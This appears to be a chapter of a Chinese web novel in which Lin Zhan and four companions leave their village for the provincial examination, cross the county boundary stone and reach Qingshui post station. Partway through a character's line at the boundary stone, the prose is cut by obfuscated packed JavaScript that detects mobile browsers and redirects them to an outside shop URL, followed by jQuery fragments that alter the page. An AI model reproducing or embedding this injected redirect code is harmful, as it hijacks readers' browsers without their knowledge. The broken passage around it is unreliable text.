出发的日子定在八月初二，宜出行。


    天还没亮透，林家村头的打谷场上就聚了人。三辆青篷马车停在那儿，马匹喷着白汽，车夫正最后检查鞍具。林湛家的院子里，更是挤得满满当当。


    林湛娘从昨晚就开始抹眼泪，这会儿眼睛还红着，手里却不停，把最后几个煮鸡蛋往林湛包袱里塞：“路上吃，路上吃……”


    林父倒还镇定，只是握着林湛的手，反复叮嘱：“到了省城，凡事小心。考不考中不打紧，人平安回来就成。”


    “爹，娘，放心吧。”林湛心里也酸酸的，“铁柱哥跟着呢，还有砚之他们互相照应。”


    院子外头，铁柱正被他娘揪着耳朵训话：“去了省城可不许胡闹！好好伺候湛哥儿他们，听见没？要是敢闯祸，回来打断你的腿！”


    “听见了听见了！”铁柱龇牙咧嘴，“娘您轻点儿！耳朵要掉了！”


    旁边王砚之、周文渊和沈千机的家人也来了。王砚之的父亲王主簿特意告了假，穿着常服，正与几位家长寒暄。周文渊的母亲是个温婉的妇人，正细细检查儿子箱笼里的衣物够不够厚实。沈千机那边最热闹——他爹沈掌柜带了两个伙计，正帮着往车上装东西，除了行李，还有好几包点心、肉脯，说是“路上垫肚子”。


    村人们围在四周看热闹。有老人拄着拐杖念叨：“咱们村多少年没出过要去省城赶考的后生了……一送就是五个，了不得啊！”


    小孩子在人群里钻来钻去，被大人一把拽住：“别瞎跑！仔细碰着车！”


    林湛正跟爹娘说着话，忽然看见人群外站着个人——是村里的老童生陈先生。老人家穿着洗得发白的长衫，背着手，远远望着这边。


    林湛忙走过去：“陈先生。”


    陈先生看着他，花白的胡子动了动，半晌才道：“去了省城，莫慌。你学问扎实，文章也通透，按平常心写就是。”


    “学生记下了。”


    老人从袖子里摸出个小布包，递过来：“这个……你带着。”


    林湛接过，打开一看，是一支半旧的毛笔，笔杆磨得油亮。


    “这是老夫当年考秀才时用的笔，”陈先生声音有些哑，“虽然旧了，但顺手。你……带着吧，算个念想。”


    林湛鼻子一酸，郑重行礼：“谢先生。”


    天色渐渐亮了，鸡鸣声此起彼伏。沈千机看了看日头，扬声道：“诸位，时辰差不多了，咱们该动身了！”


    告别的话说了又说，最后终究要上车。林湛娘又抹了把泪，把最后一句叮嘱塞进儿子怀里：“路上吃饱，夜里盖好……”


    铁柱已经爬上了第一辆车的车辕，坐在车夫旁边——他说要“看路”。王砚之、周文渊上了第二辆车，林湛和沈千机上了第三辆。行李都捆扎结实了，车夫甩起鞭子，“驾”的一声，马车缓缓启动。


    打谷场上，送行的人们跟着车走了几步，挥着手，喊着最后的话。孩子们追着马车跑，被大人喝止。


    马车驶出村口，上了官道。林湛掀开车帘回头望去，林家村在晨雾中渐渐模糊，只剩下轮廓。村头那棵老槐树，他小时候常爬上去玩的，这会儿只看得到一团墨绿的影子。


    铁柱从前头车上扭过头来喊：“湛哥儿！你看！山！”


    确实，出了村，视野一下子开阔了。秋天的田野一片金黄，远处的山峦层层叠叠，在朝阳下染上淡金的边。官道两旁，农人已经开始劳作，有挑水的，有割稻的，看见这队马车，都停下活计张望。


    沈千机也看着窗外，忽然笑道：“咱们这算是……出远门了。”


    林湛点头。来到这个世界六年多，这是他第一次离开永清县，去往更广阔的地方。


    马车走得稳当，车轮轧在土路上，发出有节奏的声响。前头车上传来铁柱和车夫的闲聊声，隐约听见在问“这马一天能走多少里”“前面驿站远不远”。


    王砚之那辆车上，周文渊似乎已经开始看书了——隔着车帘，能看见他端坐的身影。


    沈千机从随身褡裢里掏出个小本子：“来，林兄，趁着路上有空，咱们对对账目。这一路的开销，我都记着呢，铁柱兄也学着记了一份，晚上宿店时咱们一起核对。”


    林湛失笑：“沈兄，你这掌柜的瘾是过不完了。”


    “这叫未雨绸缪！”沈千机一脸正经，“咱们现在花的可都是‘公款’——大伙儿凑的盘缠，每一文都得清楚。等将来做了官，管的就是一县一府的钱粮，现在练练手，没坏处。”


    两人正说着，马车忽然慢了下来。前头铁柱喊：“到界碑了！”


    永清县的界碑立在官道旁，是块半人高的青石，上面刻着“永清县界”四个大字，字迹已有些模糊。马车在碑前停了停，车夫下来给马饮水。


    几人都下了车活动腿脚。站在这界碑旁往回望，来路蜿蜒，隐在田野村落间。往前看，道路延伸向陌生的远方。


    王砚之走到林湛身边，轻声道：“这一出去，再回来时，或许就不同了。”


    周文渊也望着界碑，没说话。


    铁柱倒是兴致勃勃，围着界碑转了一圈，还伸手摸了摸上面的字：“这碑有些年头了吧？你们说，当年立碑的人，想过会有咱们这样的人从这儿过吗？”


    沈千机拍了拍碑身：“它只管立在这儿，看着人来人往。咱们今天过去了，将来还会有别人过去。要紧的不是碑，是走


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195666|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过去的人。”


    歇了一刻钟，马车继续前行。过了界碑，路似乎还是那条路，田还是那些田，但感觉确实不同了——这是别县的地界了。


    中午时分，车队在路旁一个茶棚停下打尖。茶棚简陋，但老板娘煮的姜茶很暖，配上自带的干粮，一顿饭吃得简单却踏实。


    铁柱主动帮着车夫喂马、检查车辕，忙得满头汗。沈千机则跟茶棚老板打听前路的状况：哪里路平，哪里坡陡，下一处驿站还有多远。


    林湛端着姜茶，看着官道上偶尔经过的行人：有挑担的小贩，有骑驴的旅人，也有像他们一样赶考的书生，青衫方巾，行色匆匆。


    “这才第一天，”王砚之坐到他旁边，“往后还有三四百里呢。”


    “是啊，”林湛喝口茶，“路还长。”


    歇息够了，重新上路。下午的日头有些晒，车帘都放了下来。沈千机靠着车厢打起了盹，林湛也闭目养神。


    车轮声单调而持续，像在数着里程。偶尔经过村落，能听见犬吠鸡鸣，孩子们追逐嬉笑的声音。经过河流时，水声哗哗，马匹踏过木桥，发出空洞的回响。


    傍晚时分，车队抵达计划中的第一站——一个叫清水驿的小镇。驿站不大，但还算干净。沈千机提前托人订好了房间，三间房，两人一间，铁柱跟车夫们住通铺。


    安顿下来后，几人聚在沈千机和林湛的房里核对账目。铁柱果然记了账，虽然字歪歪扭扭，但数目清楚：今日车资多少，茶钱多少，宿费多少，晚饭预备花多少……


    “不错啊铁柱兄，”沈千机翻着他的账本，“记得挺明白！”


    铁柱嘿嘿笑：“跟沈兄学的。”


    晚饭是在驿站食堂吃的，简单的两荤两素，米饭管饱。奔波一天，几人都饿了，吃得格外香。


    饭后，天色还没全黑。几人走出驿站，在小镇街头散步。清水驿只有一条主街，两旁是些杂货铺、铁匠铺、饭馆，这会儿大多上了门板，只有一两家还亮着灯。


    镇子尽头有座小石桥，桥下河水潺潺。几人站在桥头，看着夕阳的余晖把水面染成金红色。


    “这才走了不到百里，”周文渊轻声道，“离省城还远着呢。”


    “远是远，”王砚之微笑，“但一步一步走，总能走到。”


    铁柱趴在桥栏上往下看：“这河水是往哪儿流的？会不会流到省城去？”


    沈千机笑道：“这是往南流的，跟咱们同路。说不定咱们到省城时，这河里的水也到了呢。”


    林湛没说话，只是看着河水。河水不急，缓缓地流着，带着落叶，带着夕阳的碎金，带着不知从何处来的、又要往何处去的故事，静静地流向远方。